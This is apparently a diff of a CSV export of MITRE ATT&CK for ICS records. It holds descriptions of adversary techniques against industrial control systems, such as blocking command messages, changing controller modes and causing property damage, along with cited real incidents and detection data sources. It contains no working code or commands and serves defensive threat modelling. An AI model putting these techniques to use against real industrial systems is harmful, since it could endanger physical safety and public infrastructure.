ExternalReference(source_name='KGG-Geek', description='Lee Mathews. (2016, April 27). German nuclear plant found riddled with Conficker, other viruses. Retrieved October 14, 2019.', url='https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/'), ExternalReference(source_name='KGG-Trend Micro', description='Trend Micro. (2016, April 27). Malware Discovered in German Nuclear Power Plant. Retrieved October 14, 2019.', url='https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant'), ExternalReference(source_name='KGG-BBC', description='BBC. (2016, April 28). German nuclear plant hit by computer viruses. Retrieved October 14, 2019.', url='https://www.bbc.com/news/technology-36158606'), ExternalReference(source_name='KGG-Ars', description='Sean Gallagher. (2016, April 27). German nuclear plant’s fuel rod system swarming with old malware. Retrieved October 14, 2019.', url='https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/'), ExternalReference(source_name='KGG-Dark', description='Dark Reading Staff. (2016, April 28). German Nuclear Power Plant Infected With Malware. Retrieved October 14, 2019.', url='https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298')]",attack-pattern--c267bbee-bb59-47fe-85e0-3ed210337c21,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2020-05-21 17:43:26.506000+00:00,Replication Through Removable Media,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File monitoring', 'Data loss prevention']",,,,,,,,,,,,,,"['Human-Machine Interface', 'Data Historian', 'Control Server']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. +Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'command-and-control-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0869', 'external_id': 'T0869'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Engineering Workstation']",,,,,,,, +attack-pattern,attack-pattern--3f1f4ccb-9be2-4ff8-8f69-dd972221169b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Block Reporting Message,"Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0804', 'external_id': 'T0804'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Application Log: Application Log Content', 'Process: Process Termination', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Input/Output Server', 'Device Configuration/Parameters']",,,,,,,, +attack-pattern,attack-pattern--24a9253e-8948-4c98-b751-8e2aee53127c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Command-Line Interface,"Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: EAttack Command-Line Interface) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. -In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0853', external_id='T0853')]",attack-pattern--2dc2b567-8821-49f9-9045-8740f3d0b958,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics')]",2020-05-21 17:43:26.506000+00:00,Scripting,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File monitoring', 'Process command-line parameters', 'Process monitoring']",,,,,,,,,,,,,,['Engineering Workstation'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. +CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. -Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0869', external_id='T0869')]",attack-pattern--e076cca8-2f08-45c9-aff7-ea5ac798b387,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='command-and-control-ics')]",2020-05-21 17:43:26.506000+00:00,Standard Application Layer Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process use of network', 'Malware reverse engineering', 'Process monitoring', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Engineering Workstation']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may rely on a targeted organizations’ user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. +Many controllers have CLI interfaces for management purposes. -Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0863', external_id='T0863'), ExternalReference(source_name='BlackEnergy - Booz Allen Hamilton', description='Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', url='https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf'), ExternalReference(source_name='Havex - F-Secure', description='Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', url='https://www.f-secure.com/weblog/archives/00002718.html')]",attack-pattern--2736b752-4ec5-4421-a230-8977dea7649c,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics')]",2020-05-21 17:43:26.506000+00:00,User Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Anti-virus', 'Process command-line parameters', 'Process monitoring']",,,,,,,,,,,,,,"['Engineering Workstation', 'Human-Machine Interface']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0803', external_id='T0803'), ExternalReference(source_name='Research - Research - Taxonomy Cyber Attacks on SCADA', description='Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', url='http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'), ExternalReference(source_name='Ukraine15 - EISAC - 201603', description='Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', url='https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf')]",attack-pattern--008b8f56-6107-48be-aa9f-746f927dbb61,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Block Command Message,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm History', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controller’s API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controller’s API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off.(Citation: Forum Automation PLC Operating Modes October 2017) Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode.(Citation: Omrom PLC Different Operating Modes)(Citation: Machine Information Systems How PLCs Work 2007)(Citation: Forum Automation PLC Operating Modes October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - Allows for remote changes to a PLC’s operation mode.(Citation: PLCgurus PLC Basics 2021) Stop - The PLC and program is stopped, while in this mode, outputs are forced off.(Citation: Machine Information Systems How PLCs Work 2007) Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.(Citation: Machine Information Systems How PLCs Work 2007)Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.(Citation: Omrom PLC Different Operating Modes)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0858', external_id='T0858'), ExternalReference(source_name='Forum Automation PLC Operating Modes October 2017', description='N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', url='https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'), ExternalReference(source_name='Omrom PLC Different Operating Modes', description='Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', url='https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'), ExternalReference(source_name='Machine Information Systems How PLCs Work 2007', description='Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', url='http://www.machine-information-systems.com/How_PLCs_Work.html'), ExternalReference(source_name='PLCgurus PLC Basics 2021', description='PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', url='https://www.plcgurus.net/plc-basics/')]",attack-pattern--2883c520-7957-46ca-89bd-dab1ad53b601,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='evasion-ics')]",2021-04-13 11:42:26.506000+00:00,Change Operating Mode,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm history', 'Sequential event recorder', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. +Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0807', 'external_id': 'T0807'}, {'source_name': 'EAttack Command-Line Interface', 'description': 'Enterprise ATT&CK. (2018, January 11). Command-Line Interface. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1059'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server']",,,,,,,, +attack-pattern,attack-pattern--83ebd22f-b401-4d59-8219-2294172cf916,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Damage to Property,"Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. (Citation: German Steel Mill - German Federal Office for Information Security - 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. (Citation: Maroochy - MITRE - 200808) -A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside. (Citation: LodzTram-Schneier-2008-01)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0879', external_id='T0879'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'), ExternalReference(source_name='LodzTram-LondonReconnections-2017-12', description='John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', url='https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'), ExternalReference(source_name='LodzTram-InHomelandSecurity-2008-02', description='Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', url='https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'), ExternalReference(source_name='LodzTram-Schneier-2008-01', description='Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', url='https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'), ExternalReference(source_name='German Steel Mill - German Federal Office for Information Security - 2014', description='Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', url='https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3')]",attack-pattern--83ebd22f-b401-4d59-8219-2294172cf916,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Damage to Property,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) +A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside. (Citation: LodzTram-Schneier-2008-01)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0879', 'external_id': 'T0879'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'LodzTram-LondonReconnections-2017-12', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'}, {'source_name': 'LodzTram-InHomelandSecurity-2008-02', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'}, {'source_name': 'LodzTram-Schneier-2008-01', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'}, {'source_name': 'German Steel Mill - German Federal Office for Information Security - 2014', 'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--e33c7ecc-5a38-497f-beb2-a9a2049a4c20,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-21T16:29:26.506Z,Denial of Control,"Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) -In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. In the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T813', external_id='T0813'), ExternalReference(source_name='Reference - Corero', description='Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', url='https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'), ExternalReference(source_name='Reference - SANS - 201510', description='Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', url='https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'), ExternalReference(source_name='Reference - RIoT', description='Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.')]",attack-pattern--e33c7ecc-5a38-497f-beb2-a9a2049a4c20,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2021-04-21 16:29:26.506000+00:00,Denial of Control,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0816', external_id='T0816'), ExternalReference(source_name='Research - Research - Taxonomy Cyber Attacks on SCADA', description='Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', url='http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'), ExternalReference(source_name='Ukraine15 - EISAC - 201603', description='Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', url='https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf')]",attack-pattern--25dfc8ad-bd73-4dfd-84a9-3c3d383f76e9,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Device Restart/Shutdown,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sequential event recorder', 'Alarm history', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. +In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. In the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T813', 'external_id': 'T0813'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Windows'],,,,,,,, +attack-pattern,attack-pattern--25dfc8ad-bd73-4dfd-84a9-3c3d383f76e9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Device Restart/Shutdown,"Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0816', 'external_id': 'T0816'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--9f947a1c-3860-48a8-8af0-a2dfa3efde03,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Exploitation for Evasion,"Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. -Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0820', external_id='T0820')]",attack-pattern--9f947a1c-3860-48a8-8af0-a2dfa3efde03,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='evasion-ics')]",2020-05-21 17:43:26.506000+00:00,Exploitation for Evasion,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Detonation chamber', 'Malware reverse engineering']",,,,,,,,,,,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: EAttack Hooking) +Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0820', 'external_id': 'T0820'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,, 